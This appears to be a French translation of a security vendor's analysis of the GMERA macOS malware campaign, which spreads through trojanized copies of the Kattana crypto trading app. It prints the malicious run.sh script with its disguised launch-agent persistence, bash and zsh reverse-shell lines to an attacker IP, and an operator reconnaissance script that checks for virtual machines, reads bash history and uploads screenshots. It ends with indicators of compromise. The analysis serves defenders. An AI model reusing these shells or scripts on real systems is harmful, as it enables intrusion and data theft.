Nous avons récemment découvert des sites web distribuant des applications malveillantes pour les échanges de cryptomonnaies sur Mac. Ces logiciels malveillants sont utilisés pour voler des informations telles que des cookies de navigateur, des portefeuilles de cryptomonnaies et des captures d'écran. En analysant les échantillons de logiciels malveillants, nous avons rapidement découvert qu'il s'agissait d'une nouvelle campagne de ce que les chercheurs de Trend Micro ont appelé GMERA, dans une analyse publiée en septembre 2019. Comme dans les campagnes précédentes, le logiciel malveillant se rapporte à un serveur C&C via HTTP et connecte les sessions de terminaux distants à un autre serveur C&C en utilisant une adresse IP codée en dur. Cette fois, cependant, les auteurs du logiciel malveillant ne l'ont pas seulement inclus dans l'application originale et légitim. Ainsi,ils ont également donné un nouveau nom à l'application commerciale Kattana et copié son site web original. Nous avons vu les marques fictives suivantes utilisées dans différentes campagnes : Cointrazer, Cupatrade, Licatrade et Trezarus. En plus de l'analyse du code du logiciel malveillant, les chercheurs d'ESET ont également mis en place des honeypots pour tenter de révéler les motivations de ce groupe de criminels.
Distribution
Nous n'avons pas encore été en mesure de trouver où exactement ces applications cheval de Troie sont promues. Cependant, en mars 2020, Kattana a publié un avertissement suggérant que les victimes étaient approchées individuellement pour les inciter à télécharger une application trojanisée. Nous n'avons pas pu confirmer que cela était lié à cette campagne particulière, mais cela pourrait très bien être le cas.
Des sites web imitateurs ont été mis en place, pour donner l'illusion que le téléchargement d'une application bidon est légitime. Pour une personne qui ne connaît pas Kattana, les sites web semblent légitimes.
Le bouton de téléchargement sur les faux sites est un lien vers une archive ZIP contenant le paquet d'applications trojanisées.
Analyse
Dans ce cas, l'analyse des logiciels malveillants est assez simple. Nous prendrons l'exemple de l'échantillon de Licatrade. Les autres échantillons présentent des différences mineures, mais les idées et les fonctionnalités sont essentiellement les mêmes. Des analyses similaires de campagnes GMERA antérieures sont fournies dans un article de Trend Micro et dans le rapport 2019 d'Objective-See sur les logiciels malveillants touchant Mac.
La date de modification des fichiers dans l'archive ZIP, la date de signature de la demande et l'en-tête HTTP Last‑Modified lorsque nous avons téléchargé l'archive indiquent tous le 15 avril 2020. Tout ceci suggère que cette campagne ait débuté à cette date.
Un script shell (run.sh) est inclus dans les ressources du paquet d'applications. Cet exécutable principal, écrit en Swift, lance run.sh. Pour une raison quelconque, l'auteur du logiciel malveillant a dupliqué la fonctionnalité permettant d'envoyer un simple rapport à un serveur C&C via HTTP, et de se connecter à un hôte distant via TCP fournissant un shell distant aux attaquants, à la fois dans l'exécutable principal et dans le script shell. Une fonctionnalité supplémentaire, dans le script shell uniquement, consiste à mettre en place la persistance en installant un agent de lancement.
Voici la source complète du script shell (ellipses en longue chaîne décrochetées) :
#! /bin/bash
function remove_spec_char(){
echo "$1" | tr -dc '[:alnum:].\r' | tr '[:upper:]' '[:lower:]'
}
whoami="$(remove_spec_char `whoami`)"
ip="$(remove_spec_char `curl -s ipecho.net/plain`)"
req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`
plist_text="ZWNobyAnc2R2a21…d2Vpdm5laXZuZSc="
echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"
cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"
launchctl load "/tmp/.com.apple.system.plist"
scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`
Il est intéressant de noter que la persistance est rompue dans l'échantillon Licatrade : le contenu du fichier Launch Agent (.com.apple.system.plist) qui en résulte n'est pas au format Property List comme le prévoit launchd, mais constitue plutôt la ligne de commande à exécuter.
Le contenu décodé (ellipses dans les longues chaînes de caractères) de la variable $plist_text l'est :
echo 'sdvkmsdfmsd…kxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfms…nicvmdskxweivneivne'
S'il était exécuté directement, ce code ouvrirait un shell inversé de la machine victime vers un serveur contrôlé par l'attaquant, mais cela échoue ici. Heureusement pour les attaquants, la dernière ligne du script shell lance également un shell inversé vers leur serveur.
L'échantillon Cointrazer, utilisé dans les campagnes antérieures à Licatrade, n’est pas affectée : l'agent de lancement est installé et démarre avec succès lorsque l'utilisateur se connecte.
Les différents shells inversés utilisés par ces opérateurs de logiciels malveillants se connectent à différents ports distants selon la manière dont ils ont été lancés. Toutes les connexions sont non chiffrées. Voici une liste de ports, basée sur l'exemple de Licatrade.
TCP Port | Where | How |
---|---|---|
25733 | Licatrade executable | zsh in screen using ztcp |
run.sh | bash in screen using /dev/tcp | |
Launch Agent (Not working) | bash in screen using /dev/tcp | |
25734 | Licatrade executable | zsh using ztcp |
25735 | Licatrade executable | bash using /dev/tcp |
25736 | Licatrade executable | bash in screen using /dev/tcp |
25737 | Licatrade executable | bash in screen using /dev/tcp |
25738 | Licatrade executable | zsh in screen using ztcp |
Voici quelques exemples de lignes de commande utilisées :
- Bash in screen en utilisant /dev/tcp :
screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'
- zsh utilisant ztcp :
zsh -c 'zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
L'application, rebaptisée Kattana, se trouve également dans les ressources de l'ensemble des applications. Nous voulions voir si, outre le changement de nom et d'icône dans l'application, un autre code avait été modifié. Étant donné que Kattana demande des informations d'identification pour les plateformes de négociation, nous avons vérifié si les champs de saisie de celles-ci avaient été altérés et si les informations d'identification avaient été exfiltrées d'une manière ou d'une autre. Kattana est construit avec Electron, et les applications Electron ont un fichier app.asar, qui est une archive contenant le code JavaScript de l'application. Nous avons vérifié tous les changements entre l'application Kattana originale et l'imitateur malveillant de Licatrade et avons constaté que seules les chaînes de caractères et les images étaient modifiées.
Licatrade et ses ressources ont toutes été signées à l'aide du même certificat, dont le champ du nom commun est Andrey Novoselov et qui utilise l'identifiant de développement M8WVDT659T. Le certificat a été délivré par Apple le 6 avril 2020. Il a été révoqué le jour même où nous avons informé Apple de cette application malveillante.
Pour chacune des autres campagnes que nous avons analysées, un certificat différent a été utilisé. Tous deux avaient déjà été révoqués par Apple lorsque nous avons commencé nos analyses. Consultez la section IoCs pour plus de détails à ce sujet. Il est intéressant de noter que dans le cas du Cointrazer, il ne s'est écoulé que 15 minutes entre le moment où le certificat a été délivré par Apple et celui où les malfaiteurs ont signé leur application trojanisée. Ceci, et le fait que nous n'ayons rien trouvé d'autre signé avec la même clé, suggère qu'ils ont obtenu le certificat explicitement dans ce but.
Infrastructure
L'application malveillante Licatrade était disponible sur le site web licatrade.com et son domaine de serveur de rapports HTTP C&C est stepbystepby.com. Les deux domaines ont été enregistrés à l'aide de l'adresse électronique levistor777@gmail.com. La recherche d'autres domaines enregistrés avec cette adresse électronique révèle ce qui ressemble à plusieurs campagnes précédentes. Vous trouverez ci-dessous la liste des domaines que nous avons trouvés dans les échantillons ou enregistrés avec cette adresse électronique.
Domain name | Registration date | Comment |
---|---|---|
repbaerray.pw | 2019-02-25 | C&C server for HTTP report of Stockfolio app |
macstockfolio.com | 2019-03-03 | Website distributing the malicious Stockfolio app |
latinumtrade.com | 2019-07-25 | Website distributing the malicious Latinum app |
trezarus.com | 2019-06-03 | Website distributing the malicious Trezarus app |
trezarus.net | 2019-08-07 | #rowspan# |
cointrazer.com | 2019-08-18 | Website distributing the malicious Cointrazer app |
apperdenta.com | 2019-08-18 | Usage unknown |
narudina.com | 2019-09-23 | Usage unknown |
nagsrsdfsudinasa.com | 2019-10-09 | C&C server for HTTP report of Cointrazer app |
cupatrade.com | 2020-03-28 | Website distributing the malicious Cupatrade app |
stepbystepby.com | 2020-04-07 | C&C server for HTTP report of Licatrade app |
licatrade.com | 2020-04-13 | Website distributing the malicious Licatrade app |
creditfinelor.com | 2020-05-29 | Empty page, usage unknown |
maccatreck.com | 2020-05-29 | Some authentication form |
Les sites web et les serveurs HTTP C&C recevant le premier rapport de logiciel malveillant sont hébergés sous Cloudflare.
Interactions avec le honeypot
Pour en savoir plus sur les intentions de ce groupe, nous avons mis en place des honeypots, nous permettant d’y surveiller toutes les interactions entre les portes dérobées de la GMERA et les opérateurs de ce logiciel malveillant.
Nous n'avons vu aucune commande C&C émise via le canal du serveur HTTP C&C ; tout s'est passé par les reverse shells. Lors de sa première connexion, le serveur C&C a envoyé un petit script pour recueillir le nom d'utilisateur, la version de macOS et l'emplacement (basé sur l'adresse IP externe) de l'appareil compromis.
#! /bin/bash
function check() {
if [ ! -f /private/var/tmp/.i ]; then
write
else
if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then
write
fi
fi
}
function write() {
getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"`
echo `whoami` > /private/var/tmp/.i
echo `sw_vers -productVersion` >> /private/var/tmp/.i
echo "$getit" >> /private/var/tmp/.i
}
check
cat /private/var/tmp/.i
qui a envoyé quelque chose de ce type aux opérateurs :
jeremy
10.13.4
Bratislava
SK
La connexion TCP reste ouverte et attend d'autres commandes. Dans notre cas, après un certain temps, les opérateurs ont inspecté manuellement la machine. Dans plusieurs de nos honeypots, les commandes utilisées pour effectuer cette inspection variaient. Une partie de l'inspection consistait simplement à répertorier les fichiers dans le système de fichiers. Parfois, ils copiaient et collaient un script codé en base64 conçu pour lister les informations afin de révéler si le système est un honeypot ou s'il est réellement intéressant. Le script est décodé, puis transmis à bash.
Voici le script décodé :
echo ""
echo "------ Whoami ------"
whoami
echo "------ IP info ------"
curl -s ipinfo.io
echo "------ Mac Model ------"
curl -s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/Serial/ {print $4}' | cut -c 9-) | sed 's|.*<configCode>\(.*\)</configCode>.*|\1|'
echo "------ MacOS Version ------"
sw_vers -productVersion
sw_vers -productVersion | grep -E "10.15.*" && echo -e "\033[1;31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA \033[0m"
sleep 1
echo "------ MacOS Installed ------"
date -r /var/db/.AppleSetupDone
echo "------ Disks ------"
df -m
echo "------ Video Output ------"
system_profiler SPDisplaysDataType
echo "------ Wifi Around ------"
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
echo "------ Virtual Mashine Detector ------"
ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -E "irtual|racle|ware|arallels" || echo "Probably not a Virtual Mashine..."
echo "--------------------------------"
echo "------ Developer Detector ------"
echo "--------------------------------"
echo "||| Applications |||"
ls -laht /Applications | grep -E "Xcode|ublime|ourceTree|Atom|MAMP|TextWrangler|Code|ashcode" && echo "-|Be Carefull|-"
echo "||| Short Bash History |||"
cat ~/.bash_history | head -n 20
echo "------ Desktop Screen ------"
echo "create screenshot..."
sw_vers -productVersion | grep -E "10.15.*" & screencapture -t jpg -x /tmp/screen.jpg &> /dev/null
sips -z 500 800 /tmp/screen.jpg &> /dev/null
sips -s formatOptions 50 /tmp/screen.jpg &> /dev/null
echo "uploading..."
curl -s -F "file=@/tmp/screen.jpg" https://file.io
Ce script est en fait très similaire au fichier du plugin trouvé dans l'un des échantillons du Stockfolio analysé l'année dernière. Cependant, lors des campagnes les plus récentes, ils ont choisi d'envoyer le script de reconnaissance sur le réseau uniquement aux victimes intéressantes. Il a également été mis à jour pour inclure quelques informations supplémentaires.
Nous allons passer en revue chaque section du script ci-dessous :
- Il reçoit le rapport complet sur la propriété intellectuelle externe de ipinfo.io
- Il vérifie le modèle de Mac en utilisant les 4 derniers chiffres du numéro de série du Mac et un service HTTP fourni par Apple pour le traduire en un nom convivial tel que "MacBook Pro (Retina, 15 pouces, fin 2013)". Les machines virtuelles ont probablement des numéros de série non valides et peuvent ne pas afficher un modèle ici.
- Il affiche la version de macOS installée. Il y a un assez gros rouge (utilisant la séquence d'échappement ANSI), toutes les majuscules avertissant lorsque l'ordinateur exécute macOS Catalina (10.15). Nous pensons comprendre pourquoi et nous en parlerons plus tard.
- Il vérifie quand macOS a été installé en utilisant le temps de modification du /var/db/.AppleSetupDone.
- Il affiche l'utilisation du disque et les détails des moniteurs connectés.
- Il répertorie les réseaux Wi-Fi disponibles. Les honeypots sont susceptibles d'avoir le Wi-Fi désactivé.
- Il détecte si l'ordinateur est une machine virtuelle VMware, Parallels ou VirtualBox en examinant les chaînes de fournisseurs des périphériques connectés.
- Il vérifie si des éditeurs de texte ou des applications IDE courantes sont installés et avertit les opérateurs de "Be Carefull" (sic) car cette victime pourrait être plus calée en informatique que d'habitude.
- Il obtient les 20 premières commandes (c'est-à-dire les plus anciennes) de l’historique du fichier bash.
- Enfin, elle prend une capture d'écran, la redimensionne et la télécharge dans le fichier .io. Il vérifie au préalable si le système exécute MacOS Catalina, mais une erreur dans le script rend cette vérification inutile. L'opérateur de contrôle "&", qui lance les commandes en parallèle, est utilisé à la place de l'opérateur logique ET ("&&"). Cela signifie que la capture d'écran est effectuée quelle que soit la version de macOS.
Le fait qu'une capture d'écran ne doit pas être effectuée sur Catalina et qu'un signe d'avertissement évident sera affiché sur le terminal de l'opérateur nous a fait nous demander pourquoi ils agissent différemment sur la version actuelle de macOS. Il s'avère que Catalina a ajouté une fonction où l'enregistrement de l'écran ou la prise d'une capture d'écran doit être approuvée par l'utilisateur pour chaque application. Nous avons testé la possibilité de faire une capture d'écran à partir du shell inversé sur Catalina et nous avons obtenu l'avertissement suivant dans notre sandbox, ce qui est plutôt suspect étant donné qu'une application commerciale n'a pas à le faire.
Si un système compromis est considéré comme intéressant, la phase d'exfiltration commence. Les fichiers intéressants sont compressés dans une archive ZIP et téléchargés via HTTP vers un autre serveur, également sous le contrôle des attaquants.
Il est amusant de noter ici que le fichier /tmp/h.zip n'existait pas. Peut-être ont-ils copié et collé une commande qui a été utilisée pour une autre victime.
Sur la base de l'activité dont nous avons été témoins, nous concluons que voici certains des intérêts des opérateurs de ce logiciel malveillant :
- Informations sur le navigateur (cookies, historique)
- Portefeuilles de cryptomonnaie
- Captures d'écran.
Conclusion
Les nombreuses campagnes menées par ce groupe montrent combien d'efforts ils ont déployés au cours de l'année dernière pour compromettre les utilisateurs de Mac qui font du commerce en ligne. Nous ne savons toujours pas comment quelqu'un devient une victime, en téléchargeant une des applications troyennes, mais l'hypothèse des opérateurs contactant directement leurs cibles et les manipulant socialement pour installer l'application malveillante semble la plus plausible.
Il est intéressant de noter que le fonctionnement du logiciel malveillant est plus limité sur la version la plus récente de MacOS. Nous n'avons pas vu les opérateurs essayer de contourner la limitation concernant les captures d'écran. En outre, nous pensons que la seule façon dont ils pourraient voir l'écran de l'ordinateur sur les machines victimes exécutant Catalina serait d'exfiltrer les captures d'écran existantes prises par la victime. Il s'agit d'un bon exemple concret de mise en œuvre de mesures d'atténuation dans le système d'exploitation qui a permis de limiter les activités des malfaiteurs.
Indicateurs de compromission (IoCs)
Échantillons
SHA-1 | Filename | ESET detection name |
---|---|---|
2AC42D9A11B67E8AF7B610AA59AADCF1BD5EDE3B | Licatrade.zip | multiple threats |
560071EF47FE5417FFF62CB5C0E33B0757D197FA | Licatrade.app/Contents/Resources/run.sh | OSX/Agent.BA |
4C688493958CC7CCCFCB246E706184DD7E2049CE | Licatrade.app/Contents/MacOS/Licatrade | OSX/Agent.BA |
9C0D839D1F3DA0577A123531E5B4503587D62229 | Cointrazer.zip | multiple threats |
DA1FDA04D4149EBF93756BCEF758EB860D0791B0 | Cointrazer.app/Contents/Resources/nytyntrun.sh | OSX/Agent.AZ |
F6CD98A16E8CC2DD3CA1592D9911489BB20D1380 | Cointrazer.app/Contents/MacOS/Cointrazer | OSX/Agent.BA |
575A43504F79297CBFA900B55C12DC83C2819B46 | Stockfolio.zip | multiple threats |
B8F19B02F9218A8DD803DA1F8650195833057E2C | Stockfolio.app/Contents/MacOS/Stockfoli | OSX/Agent.AZ |
AF65B1A945B517C4D8BAAA706AA19237F036F023 | Stockfolio.app/Contents/Resources/run.sh | OSX/Agent.AZ |
Certificat Code signing
App name | Fingerprint (SHA-1) | Developer identity | Valid from | App signed on | Revoked on |
---|---|---|---|---|---|
Stockfolio | E5D2C7FB4A64EAF444728E5C61F576FF178C5EBF | Levis Toretto (9T4J9V8NV5) | 2018-11-25 | 2019-04-18 | 2019-07-26 |
Cointrazer | 1BC8EA284F9CE5F5F68C68531A410BCC1CE54A55 | Andrei Sobolev (A265HSB92F) | 2019-10-17 | 2019-10-17 | 2020-04-16 |
Licatrade | BDBD92BFF8E349452B07E5F1D2883678658404A3 | Andrey Novoselov (M8WVDT659T) | 2020-04-06 | 2020-04-15 | 2020-05-28 |
Réseau
Noms de domaine
• repbaerray.pw
• macstockfolio.com
• latinumtrade.com
• trezarus.com
• trezarus.net
• cointrazer.com
• apperdenta.com
• narudina.com
• nagsrsdfsudinasa.com
• cupatrade.com
• stepbystepby.com
• licatrade.com
• creditfinelor.com
• maccatreck.com
Adresses IP
• 85.209.88.123
• 85.217.171.87
• 193.37.214.7
• 193.37.212.97
Indicateurs basés sur l'hôte
Chemin d'accès
• $HOME/Library/LaunchAgents/.com.apple.upd.plist
• $HOME/Library/LaunchAgents/.com.apple.system.plist
• /tmp/.fil.sh
• /tmp/loglog
Étiquettes Launch Agent
• com.apple.apps.upd
• com.apples.apps.upd
Techniques MITRE ATT&CK
Tactic | ID | Name | Description |
---|---|---|---|
Execution | T1204 | User Execution | Victim needs to run the malicious application to be compromised. |
T1059 | Command-Line Interface | GMERA provides reverse bash and zsh shells to its operators. | |
Persistence | T1159 | Launch Agent | GMERA installs a Launch Agent to maintain persistence. |
Defense Evasion | T1116 | Code Signing | All samples of GMERA we have analyzed were signed and used valid, Apple-signed (now revoked), certificates. |
Credential Access | T1139 | Bash History | A GMERA reconnaissance script lists the first 20 lines of the .bash_history file. |
T1539 | Steal Web Session Cookie | GMERA’s operators steal browser cookies via a reverse shell. | |
Discovery | T1083 | File and Directory Discovery | GMERA’s operators list files on the target system via a reverse shell and ls . |
T1497 | Virtualization/Sandbox Evasion | A GMERA reconnaissance script checks for devices specific to hypervisors and warns the operators if run in a virtual machine. | |
T1040 | Network Sniffing | A GMERA reconnaissance script lists Wi-Fi networks available to the compromised Mac using airport -s . | |
T1082 | System Information Discovery | A GMERA reconnaissance script lists information about the system such as macOS version, attached displays and Mac model. | |
T1518 | Software Discovery | A GMERA reconnaissance script checks whether developer tools are installed. | |
Collection | T1005 | Data from Local System | GMERA’s operators use this malware to exfiltrate files from the compromised system. |
T1113 | Screen Capture | GMERA’s operators take screenshots of the compromised system and exfiltrate them through file.io. | |
Command and Control | T1043 | Commonly Used Port | Initial reporting from the malware is done using HTTP on its standard TCP port (80). |
T1065 | Uncommonly Used Port | GMERA reverse shells are opened by connecting to C&C server TCP ports in the range 25733 to 25738. | |
Exfiltration | T1048 | Exfiltration Over Alternative Protocol | GMERA exfiltrates files from the reverse shell using HTTP to another attacker-controlled server. |